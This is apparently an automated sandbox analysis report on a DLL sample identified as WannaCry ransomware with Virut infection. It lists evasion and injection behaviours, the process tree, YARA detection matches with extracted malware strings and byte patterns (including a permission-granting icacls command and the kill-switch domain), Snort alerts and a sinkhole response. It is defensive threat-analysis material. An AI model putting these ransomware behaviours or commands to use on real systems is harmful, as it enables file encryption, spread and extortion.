Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
kBBdc7Aoj4

Overview

General Information

Sample Name:kBBdc7Aoj4 (renamed file extension from none to dll)
Analysis ID:669656
MD5:f729dae024382e4929d298cd7defdd45
SHA1:1cbea70e48f1302257147344823d2c54eb61b485
SHA256:8d8ba07fbd09c6a432054f7b835ec8b6a287e9df6b7dd6277976a3ac61ed98f6
Tags:dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry, Virut
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Detected Wannacry Ransomware
Malicious sample detected (through community Yara rule)
Yara detected Wannacry ransomware
Yara detected Virut
Antivirus / Scanner detection for submitted sample
Tries to download HTTP data from a sinkholed server
Antivirus detection for URL or domain
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Found evasive API chain (may execute only at specific dates)
Changes memory attributes in foreign processes to executable or writable
Tries to evade debugger and weak emulator (self modifying code)
Changes security center settings (notifications, updates, antivirus, firewall)
Machine Learning detection for sample
Machine Learning detection for dropped file
Creates a thread in another existing process (thread injection)
Tries to resolve many domain names, but no domain seems valid
Drops executables to the windows directory (C:\Windows) and starts them
Contains functionality to detect sleep reduction / modifications
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Creates files inside the system directory
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Entry point lies outside standard sections
Enables debug privileges
AV process strings found (often used to terminate AV products)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Queries disk information (often used to detect virtual machines)
Found large amount of non-executed APIs
Uses Microsoft's Enhanced Cryptographic Provider
May check if the current machine is a sandbox (GetTickCount - Sleep)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 6280 cmdline: loaddll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6288 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 6312 cmdline: rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • mssecsvc.exe (PID: 6452 cmdline: C:\WINDOWS\mssecsvc.exe MD5: 56B8EEF0A0C3B9056F49A13A77FE32FE)
          • winlogon.exe (PID: 572 cmdline: winlogon.exe MD5: F9017F2DC455AD373DF036F5817A8870)
          • lsass.exe (PID: 612 cmdline: C:\Windows\system32\lsass.exe MD5: 317340CD278A374BCEF6A30194557227)
          • fontdrvhost.exe (PID: 708 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • fontdrvhost.exe (PID: 716 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • svchost.exe (PID: 724 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 804 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
            • backgroundTaskHost.exe (PID: 160 cmdline: "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca MD5: B7FC4A29431D4F795BBAB1FB182B759A)
            • BackgroundTransferHost.exe (PID: 6688 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)
          • dwm.exe (PID: 984 cmdline: dwm.exe MD5: 70073A05B2B43FFB7A625708BB29E7C7)
          • svchost.exe (PID: 1020 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 316 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 416 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 948 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 960 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1132 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1200 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1272 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • rundll32.exe (PID: 6296 cmdline: rundll32.exe C:\Users\user\Desktop\kBBdc7Aoj4.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
    • rundll32.exe (PID: 6464 cmdline: rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
      • mssecsvc.exe (PID: 6500 cmdline: C:\WINDOWS\mssecsvc.exe MD5: 56B8EEF0A0C3B9056F49A13A77FE32FE)
        • tasksche.exe (PID: 6332 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 3233ACED9279EF54267C479BBA665B90)
  • mssecsvc.exe (PID: 6656 cmdline: C:\WINDOWS\mssecsvc.exe -m security MD5: 56B8EEF0A0C3B9056F49A13A77FE32FE)
    • svchost.exe (PID: 852 cmdline: c:\windows\system32\svchost.exe -k rpcss -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • svchost.exe (PID: 900 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6736 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6780 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6844 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6900 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • SgrmBroker.exe (PID: 6968 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)
  • svchost.exe (PID: 6988 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 7020 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 7144 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5296 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6576 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
kBBdc7Aoj4.dllWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
  • 0x45604:$x1: icacls . /grant Everyone:F /T /C /Q
  • 0x353d0:$x3: tasksche.exe
  • 0x455e0:$x3: tasksche.exe
  • 0x455bc:$x4: Global\MsWinZonesCacheCounterMutexA
  • 0x45634:$x5: WNcry@2ol7
  • 0x3543b:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
  • 0x3028:$x7: mssecsvc.exe
  • 0x120ac:$x7: mssecsvc.exe
  • 0x1b3b4:$x7: mssecsvc.exe
  • 0x353a8:$x8: C:\%s\qeriuwjhrf
  • 0x45604:$x9: icacls . /grant Everyone:F /T /C /Q
  • 0x3014:$s1: C:\%s\%s
  • 0x12098:$s1: C:\%s\%s
  • 0x1b39c:$s1: C:\%s\%s
  • 0x353bc:$s1: C:\%s\%s
  • 0x45534:$s3: cmd.exe /c "%s"
  • 0x77a88:$s4: msg/m_portuguese.wnry
  • 0x326f0:$s5: \\192.168.56.20\IPC$
  • 0x1fae5:$s6: \\172.16.99.5\IPC$
  • 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
  • 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
kBBdc7Aoj4.dllJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    kBBdc7Aoj4.dllwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0x455e0:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0x45608:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Windows\tasksche.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0xf4d8:$x3: tasksche.exe
    • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0xf52c:$x5: WNcry@2ol7
    • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0xf42c:$s3: cmd.exe /c "%s"
    • 0x41980:$s4: msg/m_portuguese.wnry
    • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
    • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
    C:\Windows\tasksche.exewanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    C:\Windows\tasksche.exeWin32_Ransomware_WannaCryunknownReversingLabs
    • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
    • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
    C:\Windows\mssecsvc.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0x3136c:$x3: tasksche.exe
    • 0x4157c:$x3: tasksche.exe
    • 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0x415d0:$x5: WNcry@2ol7
    • 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
    • 0xe048:$x7: mssecsvc.exe
    • 0x17350:$x7: mssecsvc.exe
    • 0x31344:$x8: C:\%s\qeriuwjhrf
    • 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0xe034:$s1: C:\%s\%s
    • 0x17338:$s1: C:\%s\%s
    • 0x31358:$s1: C:\%s\%s
    • 0x414d0:$s3: cmd.exe /c "%s"
    • 0x73a24:$s4: msg/m_portuguese.wnry
    • 0x2e68c:$s5: \\192.168.56.20\IPC$
    • 0x1ba81:$s6: \\172.16.99.5\IPC$
    • 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
    • 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
    • 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
    • 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    C:\Windows\mssecsvc.exeWannaCry_Ransomware_GenDetects WannaCry RansomwareFlorian Roth (based on rule by US CERT)
    • 0x1bacc:$s1: __TREEID__PLACEHOLDER__
    • 0x1bb68:$s1: __TREEID__PLACEHOLDER__
    • 0x1c3d4:$s1: __TREEID__PLACEHOLDER__
    • 0x1d439:$s1: __TREEID__PLACEHOLDER__
    • 0x1e4a0:$s1: __TREEID__PLACEHOLDER__
    • 0x1f508:$s1: __TREEID__PLACEHOLDER__
    • 0x20570:$s1: __TREEID__PLACEHOLDER__
    • 0x215d8:$s1: __TREEID__PLACEHOLDER__
    • 0x22640:$s1: __TREEID__PLACEHOLDER__
    • 0x236a8:$s1: __TREEID__PLACEHOLDER__
    • 0x24710:$s1: __TREEID__PLACEHOLDER__
    • 0x25778:$s1: __TREEID__PLACEHOLDER__
    • 0x267e0:$s1: __TREEID__PLACEHOLDER__
    • 0x27848:$s1: __TREEID__PLACEHOLDER__
    • 0x288b0:$s1: __TREEID__PLACEHOLDER__
    • 0x29918:$s1: __TREEID__PLACEHOLDER__
    • 0x2a980:$s1: __TREEID__PLACEHOLDER__
    • 0x2ab94:$s1: __TREEID__PLACEHOLDER__
    • 0x2abf4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e2c4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e340:$s1: __TREEID__PLACEHOLDER__
    Click to see the 2 entries

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000018.00000002.780038210.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
      00000018.00000000.297917733.000000007FFD0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
        0000000E.00000000.284082640.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
          0000000D.00000000.282719570.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
            00000025.00000002.779622182.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
              Click to see the 114 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              4.0.mssecsvc.exe.7100a4.1.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
              • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
              • 0xf4d8:$x3: tasksche.exe
              • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
              • 0xf52c:$x5: WNcry@2ol7
              • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
              • 0xf42c:$s3: cmd.exe /c "%s"
              • 0x41980:$s4: msg/m_portuguese.wnry
              • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
              • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
              • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
              4.0.mssecsvc.exe.7100a4.1.unpackwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
              • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
              • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
              4.0.mssecsvc.exe.7100a4.1.unpackWin32_Ransomware_WannaCryunknownReversingLabs
              • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
              • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
              10.2.mssecsvc.exe.7100a4.1.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
              • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
              • 0xf4d8:$x3: tasksche.exe
              • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
              • 0xf52c:$x5: WNcry@2ol7
              • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
              • 0xf42c:$s3: cmd.exe /c "%s"
              • 0x41980:$s4: msg/m_portuguese.wnry
              • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
              • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
              • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
              10.2.mssecsvc.exe.7100a4.1.unpackwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
              • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
              • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
              Click to see the 123 entries

              Sigma Signatures

              ⊘No Sigma rule has matched

              Snort Signatures

              Timestamp:192.168.2.4104.16.173.8049758802024298 07/20/22-08:08:39.045589
              SID:2024298
              Source Port:49758
              Destination Port:80
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.48.8.8.860612532024281 07/20/22-08:10:31.164984
              SID:2024281
              Source Port:60612
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:8.8.8.8192.168.2.453534832811577 07/20/22-08:11:41.863699
              SID:2811577
              Source Port:53
              Destination Port:53483
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.4104.16.173.8049820802024298 07/20/22-08:10:35.046398
              SID:2024298
              Source Port:49820
              Destination Port:80
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.48.8.8.850715532024281 07/20/22-08:12:24.849743
              SID:2024281
              Source Port:50715
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.48.8.8.860506532024291 07/20/22-08:08:38.980711
              SID:2024291
              Source Port:60506
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.48.8.8.856509532012730 07/20/22-08:09:59.972356
              SID:2012730
              Source Port:56509
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:104.16.173.80192.168.2.480498202031515 07/20/22-08:10:35.073320
              SID:2031515
              Source Port:80
              Destination Port:49820
              Protocol:TCP
              Classtype:Misc activity
              Timestamp:192.168.2.48.8.8.857361532012730 07/20/22-08:11:53.637084
              SID:2012730
              Source Port:57361
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:104.16.173.80192.168.2.480497582031515 07/20/22-08:08:39.075584
              SID:2031515
              Source Port:80
              Destination Port:49758
              Protocol:TCP
              Classtype:Misc activity
              Timestamp:192.168.2.48.8.8.861081532024291 07/20/22-08:10:34.985681
              SID:2024291
              Source Port:61081
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Multi AV Scanner detection for submitted file
              Source: kBBdc7Aoj4.dllMetadefender: Detection: 81%Perma Link
              Source: kBBdc7Aoj4.dllReversingLabs: Detection: 86%
              Antivirus / Scanner detection for submitted sample
              Source: kBBdc7Aoj4.dllAvira: detected
              Antivirus detection for URL or domain
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/URL Reputation: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comURL Reputation: Label: malware
              Antivirus detection for dropped file
              Source: C:\Windows\mssecsvc.exeAvira: detection malicious, Label: W32/Virut.Gen
              Source: C:\Windows\tasksche.exeAvira: detection malicious, Label: TR/FileCoder.AU
              Multi AV Scanner detection for dropped file
              Source: C:\Windows\mssecsvc.exeMetadefender: Detection: 86%Perma Link
              Source: C:\Windows\mssecsvc.exeReversingLabs: Detection: 100%
              Source: C:\Windows\tasksche.exeMetadefender: Detection: 85%Perma Link
              Source: C:\Windows\tasksche.exeReversingLabs: Detection: 95%
              Machine Learning detection for sample
              Source: kBBdc7Aoj4.dllJoe Sandbox ML: detected
              Machine Learning detection for dropped file
              Source: C:\Windows\mssecsvc.exeJoe Sandbox ML: detected
              Source: C:\Windows\tasksche.exeJoe Sandbox ML: detected
              Source: 7.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
              Source: 7.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 10.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 29.0.tasksche.exe.400000.0.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
              Source: 4.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 10.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
              Source: 10.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
              Source: 7.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 29.2.tasksche.exe.400000.0.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
              Source: 7.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 10.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 7.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/FileCoder.AU
              Source: C:\Windows\tasksche.exeCode function: 29_2_004018B9 CryptReleaseContext,29_2_004018B9
              Source: kBBdc7Aoj4.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

              Networking

              barindex
              Tries to download HTTP data from a sinkholed server
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jul 2022 06:08:39 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72d986040d58918e-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
